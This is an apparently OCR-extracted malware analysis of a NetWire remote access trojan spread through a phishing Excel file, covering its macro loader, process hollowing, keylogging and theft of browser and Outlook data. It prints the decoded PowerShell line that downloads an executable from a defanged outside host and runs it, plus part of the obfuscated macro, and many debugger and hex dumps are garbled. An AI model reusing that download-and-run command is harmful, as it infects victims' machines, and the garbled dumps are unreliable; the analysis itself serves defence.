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INTRODUCTION

NetWire is a RAT that has been used by criminal organizations and other malicious groups since
2012. NetWire is distributed through various campaigns, and we usually see it sent through malicious
spam (malspam).

Computers infected with this malware;

- To remote control

- Records keyboard strokes and mouse behavior

- to take screenshots

- To check system information

- To create fake HTTP proxies

- Allows access to data on the clipboard

- It allows access to data on various browsers.
Unlike many RATS, this one can target every major operating system, including Windows, Linux
and MacOS.

PREVIEW

The NetWire malware in the examined version was combined with an Excel file and continued
to spread with phishing methods. The malicious file was originally named “‘shipment.xlsm”. As
the name suggests, it has targeted cargo companies and companies using it. First of all, it comes
to us as an Excel document in order not to arouse suspicion. As a result of the analysis, it has been
determined that this file acts as a loader to realize Stage 1.

File Name: | shipment.xlsm

MD5 8fa508038223405¢14000d0a2d909aa6

SHA1 4bbcb5766ec862e7a674ca%9a420443bc18aa4855

SHA256 4426f68adbceaal4bd026618a134a3c84f830b546777f2f63bec6506d9fce9157
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and a function that processes it.

The macros which are burried in the shipment.xlsm malware, it is seen that there is an encrypted numbers

&4 shipment.xlsm - ThisWorkbook (Code)

v
|

[Workbaok
eFCHEEQoJIGSIXbZ = eFCNHEQoJGSIXbZ + "27
eFCHHEQoIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHHEQoIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHHEQ0JIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHELQ0JIGSIXbZ = eFCNHTQoJGSIXbZ +
eFCHELQ0JGSIXbZ = eFCNHLQoJIGSIXbZ +
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ +
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ +
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbI +
eFCHEEQoJIGSIXbZ = eFCNHEQoJGSIXbZ +
eFCHEEQoJIGSIXbZ = eFCNHEQoIGSIXbZ +
eFCHHEQoIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHHEQ0JIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHELQ0JIGSIXbZ = eFCNHTQoJGSIXbZ +
eFCHELQ0JIGSIXbZ = eFCNHTQoJGSIXbZ +
eFCHELQ0JGSIXbZ = eFCNHLQoJIGSIXbZ +
eFCHHLQ0JGSIXbZ = eFCNHLQoJGSIXbZ + "
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ +
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbI +
eFCHEEQoJIGSIXbZ = eFCNHEQoJGSIXbZ +
eFCHHEQoJIGSIXbZ = eFCNHLQoIGSIXbZ + "2"
eFCHHtQoJGSiXbZ = eFCNHTQOJIGSIXbZI + "0
eFCHHtQoJGSiXbZ = eFCNHTUQOJGSIXbZI + "3"
eFCHHtQoJGEjXbZ = eFCNHTUQoJGSIXbZ + "B"
eFCHELQoJGEjXbZ = eFCNHtQoJGSXbZ + "3"
eFCHHELQoJGEjXbZ = eFCNHtQoJGSjXbZ + "O"
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ + "2"
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ + "O"
eFCHHEQOJGSi¥bZ = eFCNHtQoJGSXbZ + "5"
eFCHEEQoJIGSIXbZ = eFCNHEQoJGSIXbZ + "C"
X = zsss3s53s5("a", eFCNHtQoJIGS5iXbZ)
End Sub
Public Function s3ssssss(CodeEey As String, Dataln As String) As String
Dim lonDataPtr As Long
Dim strDataOut As String
Dim intXOrValuel As Integer
Dim intXOrValue2 As Integer
For lonDataPtr = 1 To (Len(Dataln) / 2)
intXOrValuel = Val("&H" & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2}))
intXOrValueZ = Asc(Mid$ (CodeKey, ((lonDataPtr Mod Len (CodeEey)) + 1), 1))
strDataQut = strDataCut + Chr (intXOrValuel Xor intXOrValue2)
Next lonDataPtr
sssssss = strDatalut
retval = Shell (sasasss)
MsgBox (sssssss)
End Function

The “sssssss” function has the output in the image below.

Microsoft Excel

cmd fc powershell.exe -encodedCommand

KABOAGUAdwWALAESAY gBgAGUAYWBIACAATgBIAHQALgBXAGUAY gBDAGWAR
QBIAGHADAAPACAARABVAHCAbgBSAGEAY QBKAEY AaQBsAGUAKAANAGgAdABD
AHAAOQGAVACEAYQBKAGUABABRhAGEADABYAHMAQAUAGMABWEBLACEAY WBW
ACBACWBOAGKACABLAGUAbGBOACAAZQBAAGUAIWASACgAJABIAGIAdgABAGEA
cABWAGQAYQBOAGEAKQArAC cAXABYAFCATABUAFKALgBIAHgAZ QANACKAOW
BTAHQAYQByAHQALQBTAGWAZ QBIAHAATAAYADSAIABTAHQAYQByAHQALQE
QAHIAbWEJAGUACWEBZACAAIABIAGA AdgABAGEACABWAGQAY QBOAGEAXABYAF
oATABUAFKALgBIAHgAZ QA=

Tamam

It is seen that the value is encrypted again with the Base64 encryption method and it is run with Powershell.exe.

If it is resolved:

(New-Object

Net.WebClient).DownloadFile('http[:]//adelantosi[.]Jcom/cp/shipment.exe',(Senv:appdata)+'\rZLTY.exe');Start-
Sleep 2; Start-Process Senv:appdata\rZLTY.exe

Here, it is seen that the shipment.xlsm file is actually a loader type and in Powershell, the actual malware is downloaded

to the AppData folder.
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rZLTY.exe ANALYSIS

File Name: | rZLTY.exe

MD5 71cb77adbd1b17135f2b626d603932c7

SHA1 d7e06c1243ef5c2aa861626b5f13eabf5014a94c

SHA256 5f79033967a35156cae879606fe663048b6dd09d68d8a4955f42ee1848f65452

When the rZLTY.exe downloaded to the AppData folder is statically examined, it is seen that it is
an executable file and shows itself as a Word document.

----- [ 50 - Pang:0]
----- [ 51-Jang:0]
----- [ 52 - Mang:0]
----- :3 53 - [lang:0]
----- [ 54 - Dang:0]
----- :3 55 - [lang:0]
----- [ 56 - Jlang:0]
----- :3 57 - [lang:0]
----- [ 58 - [lang:0]
----- :3 59 - [lang:0]
----- [ 80 - Jlang:0]
----- :3 61 - [lang:0]
----- [ 62 - Jlang:0]
----- :3 63 - [lang:0]
----- [ &4 - Jlang:0]
----- :3 65 - [lang:0]
----- [ &6 - Jlang:0]
----- :3 67 - [lang:0]
----- [ &2 - Nang:0]
----- :3 69 - [lang:0]
----- [ 70 - Dang:0]
----- :3 71- [lang:0]
----- [ 72 - Dang:0]
[-{5) Dialogs
({2} Icon Groups
[#-{J) Version Info
=2 Configuration Files
[ 1- Jang:1033]

Offset g1 2 3 4 5 & 7T 8 %8 A B CDEF Racii

00000000 | 4D 5& 90 00 03 00 00 00 04 00 00 OO0 FF FF 00 00 |MZ .L...-d...§%..
00000010 | BE& 00 00 00 OO 00 00 OO 40 00 OO0 Q0 00 OO0 00 00
00000020 | 00 00 00 00 OO0 00 00 OO0 00 00 00 00 00 00 00 00 [ .eeesvsnnncnannn
00000030 | 00 00 00 00 00 OO0 00 00 00 00 00 00 C8 00 00 00 | .eeeaseanans E...
00000040 | 0OE 1F BA OE 00 B4 09 CD 21 B& 01 4C CD 21 54 &8 [ p =p.-.Ir, 1i'Th
00000050 | &9 73 20 70 72 &F &7 72 61 &D 20 &3 &1 6E 6E &F | is.program.canno
00000060 | 74 20 62 65 20 72 75 6E 20 6% 6E 20 44 4F 53 20 t.be.run.in.LDO35.
00000070 | 6D &F 64 65 2E OD 0D OA 24 00 00 00 00 00 00 00 |(mode....feeeeawn
EC

00000080 | A8 20 80 40 41 EE 13 EC 41 EE 13 EC 41 EE 13 TLERIRINIRINIRI

a
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EE 80724000
13

ES 6B2D0000
13

FF15 08714000
ED7406 01

mov esi,rzlty.407280

push esi

call <rzlty.d11>

push esi

call dword ptr ds:[<&1strlenA=]
lea esi,dword ptr ds:[esi+eax+1
cmp byte ptr ds:[esi],bl

jne rzlty. 40315C

push D

1 esi:

s1:"PROPSYS", 407280:"UXTHEME"

esi:"PROPSYS"
i:"PROPSYS"

"PROPSYS",
es51: "PROPSYS"

esi+eax=1i+1: "DWMAPT"

UXTHEME.dII

USERENV.dII

SETUPAPLdII

APPHELP.dI

PROPSYS.dII

CRYPTBASE.
dll

OLEACC.dII

CLBCATQ.dII

VERSION.dII

SHFOLDER.dI
I

When the behavior of rZLTY .exe is examined in general, it drops 8lm3e6brj.dll to the TEMP
folder and then re-runs itself as suspend using the Process Hollowing technique. Suspended

rZLTY .exe is run using ResumeThread after necessary operations are performed.

8Im3e6brj.dll is created to the TEMP folder using the CreateFileA API.

|/ 7%= Process Hacker [WIN-LIKUN/9PSUNZOMO)]
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B cru | @ik | _iGunik | (Notar | ® KesmemNoktaan | ™ hafza | (i vénGafinan | =3 Se [ Lo KomutDosyas
. A 00 T
.
.
.
o a 0s3
10003355

Eifg .W
. F4
N cs
. o
. 05
: 3
. 2 00
o 6a 0
M 8045 €O 1
. 5
. 8885 BOFCEFFF 1
. 83c0 08
b « I

dword pr [ebp-6AT-IC <&createprocessws]-<kerne132.Cr >

.data:10003355 8Im3e6brj.d11:53355 #1155

[ ¢ ookum3 | &% pokuma | 4% pokums = Yerdl Degskenier | 2 Yap:
5c|65 08
St 04 18 ©
€[00 00 00
ot

001 8EaFC | 34

Komut:

ysaidatids | [INT3 breakpoint at 8im3e6br.10003030 (10003030

Hacker View Tools Users Help
@] semboler | <> Kaynak| % Refresh & Options | i} Find handles or DLLs > System information | | [ 3¢
Processes | Services | Nemwork | Disk
Name PID CPU I/Ototalr.. Private by.. User name De
# 1 taskhostexe 1772 001 WIN-LIKDN79PBONzZome Wit
&1 dilhostexe 2092 ©
u1 sppsvcexe 216 Mic
¢ msdicexe 2248 Mic
# ' Searchindexer.exe 3328 40,96 MB Mic
s xe 2084 235MB Wil
Y svchostexe 2832 62,55 MB Wil
o Isassexe 536 442 M8 Lot
B Ism.exe 544 236 MB Yer
B csrssexe 424 068 1024KkB/s 1586 MB Iste
@ winlogonexe 500 325M8 Wil
4 Jexplorerexe 224 001 4288 MB WIN-L1IKDN79P8ONzormc Wil
® | wintoolservice.exe 3040 1,67 MB  WIN-L1KDN79P80N\zorrc VM
& wintoolsd.exe 2344 003 104kB/s 1807 MB WIN-LIKON79P8ONzorre VM
4 * x32dbg.exe 1552 2,24 67,82 MB  WIN-LIKDN79P80/\zorrc X6/
<3 2Tere 3908 605 MB_ WIN-L1KDN79PBONz0r7c
| T3 211.exe 1260 4MB_WIN-LIKDN79P80Azorrc
| o regeditexe 132 535M8 WIN-LIKDN79P80Nzorre Kay
| M ProcessHacker.exe 3676 038 12,55 M8 WIN-LIKDN79P80)\zorr¢ Prc
B jusched.exe 3100 2,57MB WIN-LIKDN79P80N\zorrc Jav
| jucheckexe 120 4,67 MB. WIN-LIKDN79P8ONzorrc Jav
Widaexe 3732 00 13582 MB WIN-LIKDN79P8ONzorre Th
Ea rZLTY.exe 2072 1,72 MB  WIN-LIKDN79P80)\zorrc
CPU Usage: 6.38% Physical memory: 1,06 GB (26.60%) Processes: 44

TZIty. 00GE006T
r21ty.0072005¢

Varsaylan

Debugging fon Harcanan Zaman: 0:05:30:12



EAX  FFFFFFFF
EBX QOOOD000
ECX DO0O0000
EDX 00000004
EBP  OOLSFDAC
ESP  O018FBEO4
ESI 0040310
EDI 00404410

&7C I\ \usersh

"CiyWusershy
"ChUsersyy
EIP 75475DB6 <kernel32.createrileas
EFLAGS 0000344
ZF1 PFF1 AF O
OF 0 SFO DF O
CFO TF1 IF1

Lasterror 00000002 (ERROR_FILE_NOT_FOUND)
Laststatus CO000034 (STATUS_OBIECT_MAME_NOT_FOUND)

G5 0028 FS 0053
ES 002E D5 002B
€S 0023 s5 0028

ST(0) 00000000000000000000 %87r0 Bog O.000000000000000000
STC1) 00000000000000000000 xB87rl Bos O.000000000000000000
ST(2) 00000000000000000000 x87r2 Bog O.000000000000000000
ST{3} 00000000000000000000 x87r3 Bos O.000000000000000000

Whappbata'Locall)\Temp”

WhappbatatiLocall\Temp' \nsvAaE4A. tep' 8 1m3ebb
appbatayiLocal' )\ Temp' \nsvAE4A. Tmp”

8Im3e6brj.dll works with the export name "Rxcjdizxjs" by resolving to the address determined by the VirtualAlloc

API.

mov edi,edi [virtualaTlocex
push ebp
ebp+C
mov dword ptr :_.[euc-ui‘eax
Test eax, eax eax: "PE
741 je kernelbase. 7771F104
30 00000100 mp eax, 10000 eax; "PE’
v 73 0A jae kernelbase. 7771F104
€A 57 h 57
FFI5 44107177 €Al dword ptr ds:[<aRtIRestoreLastwing|
£8 2C jmp kernelbase.7771F136
FF75 18 push dword ptr ss:([eb)
8845 14 oV eax, dword per ,J:icu
83E0 FO and eax,FFFFFFFO eax: "PE"
push eax eax: “pE"
045 FC lea eax,dword ptr ss:febp-4)
50 push eax eax: "PE
6 00 push 0
04 10 Tea eax,dword ptr ss:lebp+10] o
50 push eax eax: "PE
F75 08 push dword ptr ss: [ebp+5]
FFI5 30117177 €Al dword ptr ds: [caNtallocatevirtualu(
500 Test eax, eax eax: "PE"
v 7€ 08 31 kernelbase.7771F130
8645 10 mov eax,dword ptr ss:febpt10]
v EB 08 Jmp kernelbase.7771F138
50 push eax eax: “pE
E8 70840200 €all kernelbase.77747882
330 XOF €aX, eax eax: "PE
€2 1400 [ Rt
€« int3
€« int3
€« int3
« int3
« ine3
8BFF edi , ed virtualprotect
F "

FPU Gizle

EAX  031B00DE “PE*

EBX 00000000

ECX 03180008 "PE"

EDX  0018E764

EBP  0018E7DO

ESP  0018E7BE

ESI 10001140 <BIm3esbr] Rxcjdizxjs»

|| EpT 10000000 81m3e6brj. 10000000

EIP  7771FO0E3 <kernelbase. virtualallocexs

EFLAGS 00000304
ZFO0 PF1 AFO
OF 0 SFO DFO
CFO TFL IF1

LastError 00000000 (ERROR_SUCCESS)
LasTSTatus 00000000 (STATUS_SUCCESS)

G5 0028 F5 0053
ES 0028 DS 0028
€5 0023 55 0028

ST(0) x87r0 Bog 0.
sT(1) X87r1 805 0.
§T(2) x87r2 Bog 0.
sT(3) XB7r3 Bos 0
ST(4) XB7r4 80§ 0.
ST(s) X875 805 0.

ST(§) x
ST(7) 3FFFADG0G00000000000 XB7r7 Bog 1,252941131591796875

X87Tagword FFFF
X87TH_0 3 (B05) X87TH_L 3 (B0)

X Varsaylan (stdeal)

edi=81m3e60r . 10000000

JText:7774F0E3 kernelbase.d11:$FOE3 #E4E3 <VirtualAllocEx>

4 0oann. | Eosim | osan | 4 0sims | @osans | 8 e [ ieivetoesgone [ von

Adres | ex | Asc1T
03180000 |40 5A 50 00[03 00 00 00(04 00 00 00|FF FF 00 00|MZ.
03180010/ 88 00 00 00[00 00 00 00|40 00 00 00|00 00 00 00

0318002000 00 00 00|00 00 00 00|00 00 00 00|00 00 00
0318002000 00 00 00|00 00 00 00|00 00 00 00 (D8 00 00
03180040 | 0E 1F BA 0E|00 B4 09 CD|21 BS 01 4C|CD 21 54
0318005069 73 20 70|72 6F 67 72|61 60 20 63|61 6E 6F
03180060 74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53
03180070 |6 6F 64 65|2E 0D 0D 0A|24 0D 00 00|00 00 00
03180080 F5 9F FO BE|BL FE 9 ED|B1 FE 9E ED|B1 FE 98
03180090 | B8 86 OC ED|BO FE 9 ED|B8 86 08 ED|FO FE 9
0318B00A0 | B8 86 1A ED|83 FE 9 ED|B8 86 1D ED|85 FF 9E
03180080 88 86 0A ED|BO FE 9 ED|84 86 OF ED|BO FE 98
031800C0|52 69 €3 68|BL FE 9E ED|00 00 00 00|00 00 00
0318000000 00 00 00(00 00 00 00|50 45 00 00|4C 01 05
031B0DEO| 80 21 6€ 5C|00 00 00 00|00 00 00 00|ED 00 02
031B00F0| 08 01 05 00|00 62 0D 00|00 84 06 00|00 00 00
00 00

.0,
LA LtiTh
is_prograa canno
t be run in 005
B

5.5%b. {4b.{2b. §
- oot

SBJENEEBBEBEEREER

03180100 00 00) 00 00 OF 00(00 00 E7
03180110(09 00 03 00(00 02 00 00|Q6 00 91 00/06 00 03
03180120/ 0600 0100/

00 00 00 00|00 00 18 00|00 04 00
03180130 63 D7 14 00|03 00 40 01(D0.00 0
0318014000 00 10 0000 10 00 00| [
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3 [ 00003000

4 | 0000006C

00180000

00000004
0018E850/

espt4] FFFFFFEF
esp+8] 00000000
3: [esp+C] 00180000
[esp+10] 00003000

spe14] 00000004

0 Kernelbase, 7771F136 from Kerneibase,7771F0E3

1000387D| return to 81m3esbr]. 10003670 from 777

00000000
00150000/
00003000/
00000004

002€ 008

3 | 0074006E | r21ty. 00740068
C | 006C0064| rz1ty.D0EC0064

)6C
006C0064( FZ1Ty. 006C0064

76987A28| kernel32, 76987428
00|

76983FES | kernel32. 76963FES

76981944 kernel32

6981944
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In-Memory Payload Analysis

File Name: | -
MD5 7e3033ec0de5ac28d569fc199ff77d5e
SHA1 d34efab7a03dfb434500ae8cf79557f780282336
SHA256 €900a1322f55891415d3a53586fa79dfc2ee264ba7b09a2dc2aa98b8f146¢c704
o G ump  searcn view  weou gyer  Lummne puons  vwnuows o
SEH - MMA D I e DO B P X > O Omeee ) u@) D
: 1 1 I i )
" Library function [ll Regular function [l Instruction Data Unexplored External symbol [l Lumina function :
7] Fun o o &8 x| DA View-A | B Hex view-1 | @ structres | B enums | B2 mmports [ ,?I'E Exparts |
[ irnction name - || Address Ordinal  MName Library
7] sub_41C79D ) 00430514 TranslateMessage USER32
F] sub_d1ca78 5 00430618 keybd_event USER32
7] sub_41D049 ) 043081C mouse_svent USER32
7] sub_41DD3F 2 00430624 WSACleanup ws2_32
7] sub_41DF49 ) 0430628 WSAGetLastError ws2_32
F] sub_41£0C7 ) 0043062C WSAloct! ws2_32
F] sub_a1E16F - || &2 00430630 WSAStartup ws2_32
<om ) 00430634 _ WSAFDIsSet ws2_32
Line 504 of 504 5 00430638 closesocket ws2_32
- B o043063C  connec + ws2_32
ik Graph overview B % *| &3 cosz0640 gethostbyname Ws2_32
) 00430644 htens ws2_32
2 00430648 inet_ntoa ws2_32 -
= TA 0043064C ioctisocket Ws2_32 =
=) 00430650 ntohs ws2_32 o
S% Line 165 of 172
=] output window o & x
IDaPython v7.4.8 final (serial @) (c) The IDAPython Team <idapythonfigooglegroups.com> &

When we look at the imports of the malware, it uses important libraries such as USER32 and WS2_32.
When we look at the WS2_32 library, it is understood that it has the capacity to perform network
operations, as can be understood from the functions it uses.

In addition, when we look at the other functions used, it is verified that it tries to receive inputs entered
with keybd_event, and mouse movements and clicks with the mouse_event function.

When we examine the important DLL and functions in the pest;

-Gethostbyname
-DeleteFileW
-CreateMutexA
-ShellExecute
-GetSysteminfo
-CreateToolhelp32Snapshot
-GetVolumelnformationA
-WriteFile
-RegCreateKeyExA

It is seen that the malware can access system information, create a mutex object, get information about

the system and files, delete files, write files, take snapshots of the process and create keys for the
registry.
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In general, it is seen that the malware has 2 basic behaviors. First, it creates and stores the
information obtained from the system, after inserting each character (ord(buffer) - 36 ) into the
0x9D process.

EAX 00000024

S
EBX  00287D3C "C:\\users\ \\AppData\' \Roaming\' \Logs\'
ECX 00287D3C "C:\\users) \\AppData'\\Roaming\\Logs\
EDX 00422425 zlty_OOSfOOOO 00422425

EBP  0028FF94
ESP 00287710
ESI 00287730 "c:\\users\\s \\\Desktop\\rzlty_008F0000\\rzlty_008F0000.bin"
EDI 00000000

EIP 00409297 rzlty_008f0000. 00409297

EFLAGS 00000206
ZF 0 PF1 AF O
OF 0 SFO DF O
CFO TF O IF1

Lasterror 00000000 (ERROR_SUCCESS)
LastStatus C0000034 (STATUS_OBJECT_NAME_NOT_FOUND)

GS 0028 FS 0053
ES 0028 DS 002B
€S 0023 §S 0028
sT(0) 00000000000000000000 x87r0 Bos 0.000000000000000000

ST(1) 00000000000000000000 x87r1 Bos 0.000000000000000000
ST(2) 00000000000000000000 x87r2 Bog 0.000000000000000000

.........................................

esp+14]:"AMD Ryzen 5 4¢ H with Radeon Graphics

It writes the log file as AppData/Roaming/Logs/[DD-MM-YYYY]. In the log file, sensitive data such as
keyboard keystrokes, system information, copied data are kept in an encrypted manner.
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{ Another behavior is to transfer this information by establishing a connection with the command & control
server.

83EC 3C sub esp,3c
BBTCZ24 50 mov edi,dword ptr ss:|[esp+s50{
BEEC24 54 mov ebp,dword ptr ssi:fesp+c4] [esp+54] : "SOFTWAREY WNetwira"
8D7424 24 lea esi,dword ptr ss:|[esp+z4])
C74424 0C 01020000 |(mov dword ptr ss:fesp+c[,z201
C74424 08 00000000 |mov dword ptr ss:fesp
_— 897424 10 mov dword ptr ss:[esp+10],esi [esp+10] : "HostId-uKgwoy" |
BESCZ4 58 mov ebx,dword ptr ss:|flesp+5s] [esp+58] :"Install Date™ b
BI&C24 04 mov dword ptr ss:illesp+4ll,ebp
B893C24 mov dword ptr ssiflesp],edi
ES 3SEDOOOO call <IMP.&RegopenkeyExA>
B3EC 14 sub esp,14
85C0 test eax,eax

It assigns Hostld randomly and adds it as a key to the registry.

891C24 mov dword ptr ss:@fespl,ebx
C74424 08 FFO0O0000 (mov dword ptr ss:|[esp+E],FF
C74424 04 00264200 (mov dword ptr ss:|fesp+4],rz1ty_0058T0000.| [esp+4]: "HostId-¥Randx™
ES ZE730000 €all rzlty_00sfo000.410498
891C24 mov dword ptr ss:[espl,ebx
C74424 08 20000000 |(mov dword ptr ss:[esp+sl,z0 20:' "

C74424 04 C0254200 [mov dword ptr ss:[esp+4l,rz1ty_008Ff0000.| [esp+4]: "HostId-%Randx™, 4225C0: "i
EEB 16730000 call rzlty_0o0sf0000.410498 1l
891C24 mov dword ptr ss:[espll,ebx
C74424 08 27000000 (mov dword ptr ss:|fesp+E],z7 >
C74424 04 80254200 (mov dword ptr ss:|fesp+4),rz1ty_008T0000.| [esp+4]: "HostId-¥Rand%™, 422550:"Hc
ES FE7B0000 €all rzlty_00sfo000.410498
831C24 mov dword ptr ss:[fespl,ebx
C74424 08 08000000 |mov dword ptr ss:[esp+s], s
C74424 04 64254200 |mov dword ptr ss![esp+4],rz1ty_0058T0000.| [esp+4]: "HostId-¥Rands"
EB E&7B0000 call rzlty_005f0000.410498
891C24 mov dword ptr ss:[espll,ebx

It gets the driver names using the GetLogicalDriveStringsA API, then learns the type of the driver names
it receives using the GetDriveType API.

sub esp,eax FPU GOster

lea esi,dword ptr esp+10]) & =

mov dword ptr ss: W1 EAX  0000000C

mov edi,dword ptr sp+1020§ EBX 00285A50 "as\\"

mov d\t«'ord ptr ss:flesp+4),esi ; ECX 00000019
mov_ebx,esi ebx:"A , esi:"A: L
? . 2 2 EDX 00000000
call <JMP.V&GetLog1ca1Dr1vestr1ngsA> EBP 00000000
test eax,eax 5 1
push ecx ESP 00285a44 . .
ESI 00285A50 A:\\

| push ecx
jne rzlty_008f0000.406350
imov dword ptr ss: p+<R,

EDI  FFFFFFFF

Imov dword ptr ss p+8 EIP 00406333 rzlty_008f0000.00406333
Imov dword ptr ss:fesp+4],A

jmp rzlty_008f0000.40637€ EFLAGS 00000206
mov eax,ebx bxs AN ZF 0O PF1 AF O

sub gax,esw fabix) OF 0 SF O DF 0

cm, te ptr ds:[ebx],

jeprz¥ty_808f0000.40636s CERO TR O Ik L

mov dword ptr ss:fespj,ebx | e -
add ebx,4 ebx:"A:\\"

€all <IvP.&GetDriveTypeA> Varsayian (stdcal)

push edx 1: [esp+4] 00000000
mov byte ptr ds:[ebx-2],al 2: [esp+8] 00000000
mov byte ptr ds:[ebx-1], 3: [esp+C] 005C3A41
jmp rzlty_008f0000.406350 4: [esp+10] 005C3A43
mov dword ptr ss:fesp+C],eax 9% [espua 005C3A44
mov dword ptr :fesp+8Y,esi -

Imons chunrd nre c

The malware creates a mutex object named "VmdIDEpb' on the system.

Key HELM\SYSTEM\ControlSetd0 1\services \WinSock 2 \Parameters\Ma...  0x9c
Mutant \Sessions |\ 1\BaseNamedCbjects\WmdIDEpb Oxa4
Thread rzlty_008FO000.bin (2212): 2308 0x90
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push edi
push esi
push ebx
sub esp,4
mov ebx,dword ptr $S: e;p 440
mov_esi,dword 55: 14
call <P, Ket:oregroundwindom
test eax,eax
ie rzlty_008f0000. 413200
ea edx,dword ptr s
lea edi,dword ptr s
mov dword ptr ss:fe
mov dword ptr

mov dword ptr ss:flesp ] edx
mov_dword ptr esp+4]f, edi
canm <imp. &Getwin owTextw>

| sub esp,c

test eax,eax

jle rz]ty_OOSfOOOO 413200
mov dword ptr ss e;p +0
mov_dward nre c<- 18

Gets the title of the active window on the screen using the GetWindowTextW API.

» || FPU GOster

EAX  0000005A 'z’

EBX  00286D2C

ECX  75C920BA user32.75C920BA

EOX 00000000

EBP 00000000

ESP  0028662C

ESI 00000200 LA

EDI 00286648

EIP  004131B8 rzlty_008f0000. 00413168
EFLAGS 00000244

Varsaylan (stdcal)

10] 00000000
1Al

AnnnnnnNn

By reading the registry, it obtains the user's sensitive data on Outlook.

call rzlty 008f0000.402570
mov eax,dword ptr ss:|[esp+40]
add eax,ebx
mov eax,dword ptr ds:[eax+4]

mov eax,dword ptr ds:[eax*4+422CA0
mow dword ptr ss:[lespll, eax

€all rzlty_008f0000. 4081AA

add ebx,dword ptr ss:|[[esp+40]
dwor-d ptr ss:fesp+lc]l,eax
eax,dword ptr ss:[[es +58]
dword ptr ss:|Jesp+18]|,ebp
dword ptr ss:|esp+14]|, eax
eax,dword ptr ds:[ebx+18]
ebx,dword ptr ss'[esp+1D{]
dword ptr ss:[lesp+cl,edi

dword ptr ss fesp+8],rzlty_008
Eworg ptr ss: 4 lNZO

[esp]:

mov
Tea
mov
mov
mowv
Tea
mov
mowv
mowv

It also transfers data such as user data and browser history stored in browsers to the command & control

SErver.

char aSYandexYandexb[]

eax*4+422cA0:
"m465dr4RN.
[esp+1c]:"
[esp+18]:"
[esp+14]:"
[esp+c]:"”

Fespidl:

t\are\\M1crnsmft\\fo1ce\\15 o\Nout Took™\\Profiles’\outlook \9375CFF0413111d3688A0010462A6676"

Listening..."

0.0.0.0:0"
0.0.0.0:135"

svchost. exe”

"svchost.exe"
AEEAnARa "

UAlA AKEF. LoOsYdlslemlerlYandexralanvar+lsrao

asYandexvandexb db '¥s\Yandex\YandexBrowser\User Data\Default\Login Data',®@

char asYandexYandexb @[]

DATA XREF: BrowserlarlallgiliSeylerVar+lFto

aSYandexYandexb ® db '¥s\Yandex\YandexBrowser\User Data'\local State’,8

char aSBravesoft
db

asBravescftware

ware[ ]

char asBravesoftware_a[]

DATA XREF: BrowserlarlallgiliSeylerVar+47to

"¥%s\BraveSoftware\Brave-Browser\User Data‘\Default\lLogin Data’,®

DATA XREF: DosyaIslemleriBraveBrowserFalanVar+l7to
BrowserlarlallgiliSeylerVarSVeNettle+lFto

éSBravesoftware B db %s\BraveSuftware\Brave Browser\User Data‘\Local State’,@

char a5368chromeChro_@[ ]

DATA XREF: E’::'e*ia’ial_c___SE,_e VarSveNettle+47 1o

éS3EBchromeChro @ db "¥s\3e@Chrome\Chrome‘\User Data\Default\Lugln Data’,@

char asgchromeChrome[ ]

DATA XREF: Dosyalsleml E’iLh’C1EEa alserFalanvar+l7to

éSgchrumeChrome db "#¥sgChrome\Chrome\User Data\Default\Login Data',®

char as3e8chromeChro[]

DATA XREF: DosyaIslemiNettleFalanVar+lFto

as36@chromeChro db "¥s\368Chrome\Chrome\User Data\local State',@

1a6TsdBcMwaSgcld db %6\ Tsdac
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/ Some strings and DLLs that NetWire malware decodes:

ES 1ULEFFFE Call rZ ITy_LUSTULDD. SUS1AA
897424 0C mov dword ptr ss:|fesp+cC]),esi
894424 10 mov dword ptr 55:
C74424 08 DD334200 mov dword ptr ss:

[esp 10 3 r |r4 .d1
C74424 04 04020000 mov dword ptr ss:lffesp -]

"'-.,::5::::: [espt s 4233DD; "Esh\Hs"

891C24 mov dword ptr sr'[e pllls bx [esp]l:"R6s00.57i"
E8 EE7Z0000 call r'z'lty 008T0000. 412?A5
85FF test edi,edi
~ OFB85 3000000 jne r'z'lcy 008F0000. 40B488
31ED xor ebp,eb
8BBS C0284200 mov eax,dword ptr ss:|lebp+4228C0] [ebp+ 4 8C0] :YsEy‘_".S""'
890424 mov dword ptr ss:[esp]‘eax [esp] R DJ
E8 DECDFFFF €211 rz1ty_008T0000. 4081AA
894424 10 mov dword ptr ss: [esp+10]:"nspr4.dl
8D8424 3C040000 lea eax,dword ptr
897424 0C mov dword ptr
C74424 08 DD334200 mov dword ptr [esp+8] : "%s\\%s", 4233DD:"%s'\\%s5"
C74424 04 04020000 mov dword ptr ss:
890424 mov dword ptr [esp]:"R6s00.57i"
E8 AF730000 calll rzlty_d DDSfDDDD 4127A8
8D8424 3C040000 lea eax,dword ptr ss:[[esp+43C]
890424 mov d\nord ptr ss:[lespd,eax [esp]:"R6s00.57i"

P
E8 12BEFFFF call r'z'lty_DDstDDD 406F1A
B4C0 test a a

cmael AmnEannn smmana

Strings & DLL Resolved State

192YO0Gyy.Sii msvcr100.dll

R6s00.Sii nspr4.dll

siYO.Sii plc4.dll

siS60.Sii plds4.dll

R66Q54iN.Sii nssutil3.dll

6W85WWRN.Sii softokn3.dll

R66SV1N.Sii nssdbm3.dll

%6\EWWnid\PIOWId\u6dO C:\Users\----\AppData\Local\BraveSoftware\Brave-
aC5C\ad8CQi5\mWn4R aC5C Browser\User Data\Default\

MdYQONNh.Sii Secur32.dll

%6\.sQOsId\CYYWQR56.fli %s\.purple\accounts.xml

m465dR4Rn... Listening...

IWkKYO5Gt.Sii mozcrt19.dll

PQO0dR5zd06WR CurrentVersion

4RSdf.SC5 History.IE5

NetWire malware uses the RC4 cryptographic algorithm to encrypt strings and DLLSs.

The keys used are:

_BgwHaF8TKKDMfOzQASx4VuXdZibUleylJWhjOm502ErLt6vGRN9sY 1n3Ppc7g-C
TkKDMfOzQASX4VuxdzibuleylJwhjOm502ErLt6VGRN9sY 1n3Ppc7g-C
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{ NETWORK ANALYSIS

& *Yerel A BaBtants:

.
A [dns.
o, Time
